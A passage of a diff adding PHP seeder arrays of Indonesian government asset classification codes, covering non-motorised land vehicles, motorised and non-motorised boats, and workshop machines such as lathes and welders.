TIGA/ GEROBAK KAYUH BERINSULASI', + ], + [ + 'id_aset' => 820, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN TAK BERMOTOR ANGKUTAN BARANG LAINNYA', + ], + [ + 'id_aset' => 821, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN TAK BERMOTOR PENUMPANG', + ], + [ + 'id_aset' => 822, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SEPEDA', + ], + [ + 'id_aset' => 823, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'KUDA (KENDARAAN TAK BERMOTOR PENUMPANG)', + ], + [ + 'id_aset' => 824, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN TAK BERMOTOR PENUMPANG LAINNYA', + ], + [ + 'id_aset' => 825, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN KERETA REL TAK BERMOTOR', + ], + [ + 'id_aset' => 826, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'KERETA PENUMPANG', + ], + [ + 'id_aset' => 827, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'KERETA MAKAN', + ], + [ + 'id_aset' => 828, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'POWER CAR', + ], + [ + 'id_aset' => 829, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'GERBONG BARANG TERTUTUP', + ], + [ + 'id_aset' => 830, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'GERBONG BARANG TERBUKA', + ], + [ + 'id_aset' => 831, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN KERETA REL TAK BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 832, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN DARAT TAK BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 833, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN DARAT TAK BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 834, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR', + ], + [ + 'id_aset' => 835, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR UNTUK BARANG', + ], + [ + 'id_aset' => 836, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'KAPAL MINYAK (TANKER)', + ], + [ + 'id_aset' => 837, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TONGKANG BERMOTOR', + ], + [ + 'id_aset' => 838, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TUG BOAT + ATTACHMENT', + ], + [ + 'id_aset' => 839, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'LANDING SHIP TRANSPORTATION( L.S.T )', + ], + [ + 'id_aset' => 840, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'KAPAL CARGO (KAPAL BARANG)', + ], + [ + 'id_aset' => 841, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TRUCK AIR', + ], + [ + 'id_aset' => 842, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR UNTUK BARANG LAINNYA', + ], + [ + 'id_aset' => 843, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR UNTUK PENUMPANG', + ], + [ + 'id_aset' => 844, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SPEED BOAT / MOTOR TEMPEL', + ], + [ + 'id_aset' => 845, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MOTOR BOAT', + ], + [ + 'id_aset' => 846, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'KLOTOK', + ], + [ + 'id_aset' => 847, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'FERRY', + ], + [ + 'id_aset' => 848, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'HIDROFOIL', + ], + [ + 'id_aset' => 849, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'JETFOIL', + ], + [ + 'id_aset' => 850, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'LONG BOAT', + ], + [ + 'id_aset' => 851, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'KAPAL PASSANGER (KAPAL PENUMPANG)', + ], + [ + 'id_aset' => 852, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'PERAHU KAYU', + ], + [ + 'id_aset' => 853, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR UNTUK PENUMPANG LAINNYA', + ], + [ + 'id_aset' => 854, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR KHUSUS', + ], + [ + 'id_aset' => 855, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SURVEY BOAT', + ], + [ + 'id_aset' => 856, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'KAPAL ANTI POLUSI', + ], + [ + 'id_aset' => 857, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAPAL PERAMBUAN', + ], + [ + 'id_aset' => 858, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'OUT BOAT MOTOR', + ], + [ + 'id_aset' => 859, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'KAPAL HYDROGRAFI', + ], + [ + 'id_aset' => 860, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'KAPAL UNIT PENERANGAN AIR', + ], + [ + 'id_aset' => 861, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'KAPAL VISUAL MINI', + ], + [ + 'id_aset' => 862, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'KAPAL PENANGKAP IKAN', + ], + [ + 'id_aset' => 863, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'KAPAL PENGANGKUT HEWAN', + ], + [ + 'id_aset' => 864, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'KAPAL PATROLI PANTAI', + ], + [ + 'id_aset' => 865, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'KAPAL MOTOR PERPUSTAKAAN KELILING', + ], + [ + 'id_aset' => 866, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'FLOATING WORK SHOP/DOCK', + ], + [ + 'id_aset' => 867, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '013', + 'nama' => 'MORING BOAT/KEPIL', + ], + [ + 'id_aset' => 868, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '014', + 'nama' => 'SUCTION DREDGER/KERUK HISAP', + ], + [ + 'id_aset' => 869, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '015', + 'nama' => 'QUTTER DREDGER/KERUK BOR', + ], + [ + 'id_aset' => 870, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '016', + 'nama' => 'BUCKET DREDGER/KERUK TIMBA', + ], + [ + 'id_aset' => 871, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '017', + 'nama' => 'CLAMPSHEL DREDGER/KERUK CAKRAM', + ], + [ + 'id_aset' => 872, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '018', + 'nama' => 'ALAT ANGKUTAN APUNG UNTUK MANCING', + ], + [ + 'id_aset' => 873, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '019', + 'nama' => 'FLOATING PILE + ATTACHMENT (ALAT ANGKUTAN APUNG BERMOTOR KHUSUS)', + ], + [ + 'id_aset' => 874, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '020', + 'nama' => 'SEKOCI MOTOR TEMPEL', + ], + [ + 'id_aset' => 875, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '021', + 'nama' => 'PERAHU MOTOR TEMPEL', + ], + [ + 'id_aset' => 876, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '022', + 'nama' => 'KAPAL OSEANOGRAFI', + ], + [ + 'id_aset' => 877, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '023', + 'nama' => 'PERAHU TRADISIONAL', + ], + [ + 'id_aset' => 878, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '024', + 'nama' => 'SEA RIDER', + ], + [ + 'id_aset' => 879, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '025', + 'nama' => 'HOVER CRAFT', + ], + [ + 'id_aset' => 880, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '026', + 'nama' => 'KAPAL PENGANGKUT IKAN', + ], + [ + 'id_aset' => 881, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '027', + 'nama' => 'KAPAL PENGOLAH IKAN', + ], + [ + 'id_aset' => 882, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '028', + 'nama' => 'KAPAL PENELITIAN/ EKSPLORASI PERIKANAN', + ], + [ + 'id_aset' => 883, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '029', + 'nama' => 'KAPAL PENDUKUNG OPERASI PENANGKAPAN IKAN', + ], + [ + 'id_aset' => 884, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '030', + 'nama' => 'KAPAL PENDUKUNG OPERASI PEMBUDIDAYAAN IKAN', + ], + [ + 'id_aset' => 885, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '031', + 'nama' => 'KAPAL PENGAWAS PERIKANAN', + ], + [ + 'id_aset' => 886, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '032', + 'nama' => 'PERAHU INTAI 3 ORANG', + ], + [ + 'id_aset' => 887, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '033', + 'nama' => 'PERAHU SERBU 15 ORANG', + ], + [ + 'id_aset' => 888, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '034', + 'nama' => 'KAPAL PATROLI POLISI', + ], + [ + 'id_aset' => 889, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '035', + 'nama' => 'JET SKY', + ], + [ + 'id_aset' => 890, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR KHUSUS LAINNYA', + ], + [ + 'id_aset' => 891, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 892, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 893, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR', + ], + [ + 'id_aset' => 894, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR UNTUK BARANG', + ], + [ + 'id_aset' => 895, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TONGKANG', + ], + [ + 'id_aset' => 896, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERAHU BARANG', + ], + [ + 'id_aset' => 897, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR UNTUK BARANG LAINNYA', + ], + [ + 'id_aset' => 898, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR UNTUK PENUMPANG', + ], + [ + 'id_aset' => 899, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'PERAHU PENUMPANG', + ], + [ + 'id_aset' => 900, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERAHU PENYEBERANGAN', + ], + [ + 'id_aset' => 901, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR UNTUK PENUMPANG LAINNYA', + ], + [ + 'id_aset' => 902, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR KHUSUS', + ], + [ + 'id_aset' => 903, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'PONTON', + ], + [ + 'id_aset' => 904, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERAHU KARET (ALAT ANGKUTAN APUNG TAK BERMOTOR KHUSUS)', + ], + [ + 'id_aset' => 905, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'PONTON RUMAH', + ], + [ + 'id_aset' => 906, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'FLOATING PLATFORM/RAKIT', + ], + [ + 'id_aset' => 907, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR KHUSUS LAINNYA', + ], + [ + 'id_aset' => 908, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 909, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN APUNG TAK BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 910, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BENGKEL DAN ALAT UKUR', + ], + [ + 'id_aset' => 911, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BENGKEL BERMESIN', + ], + [ + 'id_aset' => 912, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERKAKAS KONSTRUKSI LOGAM TERPASANG PADA PONDASI', + ], + [ + 'id_aset' => 913, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'MESIN BUBUT', + ], + [ + 'id_aset' => 914, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MESIN FRAIS', + ], + [ + 'id_aset' => 915, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'MESIN KETAM (PERKAKAS KONSTRUKSI LOGAM TERPASANG PADA PONDASI)', + ], + [ + 'id_aset' => 916, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'MESIN PRESS HIDROLIK & PUNCH', + ], + [ + 'id_aset' => 917, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN BOR', + ], + [ + 'id_aset' => 918, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'MESIN GERGAJI LOGAM', + ], + [ + 'id_aset' => 919, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'MESIN GERINDA', + ], + [ + 'id_aset' => 920, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'MESIN ROL', + ], + [ + 'id_aset' => 921, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'MESIN BOR CYLINDER', + ], + [ + 'id_aset' => 922, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'MESIN SKRUP', + ], + [ + 'id_aset' => 923, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'MESIN MEILING', + ], + [ + 'id_aset' => 924, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'MESIN PUREL', + ], + [ + 'id_aset' => 925, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'MESIN PERAPEN', + ], + [ + 'id_aset' => 926, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'MESIN SIKAT KULIT', + ], + [ + 'id_aset' => 927, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'MESIN PEMOTONG KULIT', + ], + [ + 'id_aset' => 928, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'MESIN JAHIT KULIT', + ], + [ + 'id_aset' => 929, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'MESIN PENGEPRES KULIT', + ], + [ + 'id_aset' => 930, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '018', + 'nama' => 'MESIN KOMPRESOR', + ], + [ + 'id_aset' => 931, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '019', + 'nama' => 'MESIN LAS LISTRIK', + ], + [ + 'id_aset' => 932, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '020', + 'nama' => 'MESIN DYNAMO KRON', + ], + [ + 'id_aset' => 933, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '021', + 'nama' => 'MESIN SIKAT BESI KRON', + ], + [ + 'id_aset' => 934, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '022', + 'nama' => 'MESIN PEMOTONG FIBERGLAS/POLIYSTER', + ], + [ + 'id_aset' => 935, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '023', + 'nama' => 'MESIN GULUNG LISTRIK', + ], + [ + 'id_aset' => 936, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '024', + 'nama' => 'MESIN PELUBANG (PERKAKAS KONSTRUKSI LOGAM TERPASANG PADA PONDASI)', + ], + [ + 'id_aset' => 937, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '025', + 'nama' => 'MESIN PENEKUK/LIPAT PLAT', + ], + [ + 'id_aset' => 938, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '026', + 'nama' => 'MESIN GUNTING PLAT', + ], + [ + 'id_aset' => 939, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '027', + 'nama' => 'MESIN PEMBENGKOK UNI', + ], + [ + 'id_aset' => 940, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '028', + 'nama' => 'MESIN AMPLAS PLAT', + ], + [ + 'id_aset' => 941, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '029', + 'nama' => 'MESIN PEMOTONG PLAT', + ], + [ + 'id_aset' => 942, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '030', + 'nama' => 'MESIN TRANSMISSION AUTOMOTIVE', + ], + [ + 'id_aset' => 943, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '031', + 'nama' => 'MESIN PEMBENGKOK LOGAM', + ], + [ + 'id_aset' => 944, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '032', + 'nama' => 'MESIN CRYSTAL GROWING', + ], + [ + 'id_aset' => 945, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '033', + 'nama' => 'MESIN LASER CUTTING', + ], + [ + 'id_aset' => 946, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '034', + 'nama' => 'MESIN LASER WELDING', + ], + [ + 'id_aset' => 947, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '035', + 'nama' => 'MESIN LIPAT PLAT', + ], + [ + 'id_aset' => 948, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '036', + 'nama' => 'MESIN BRIKET', + ], + [ + 'id_aset' => 949, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '037', + 'nama' => 'UNIV. GRINDER SETING VALVE', + ], + [ + 'id_aset' => 950, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '038', + 'nama' => 'UNIV. GRINDER VALVE REPAIR', + ], + [ + 'id_aset' => 951, + 'golongan' 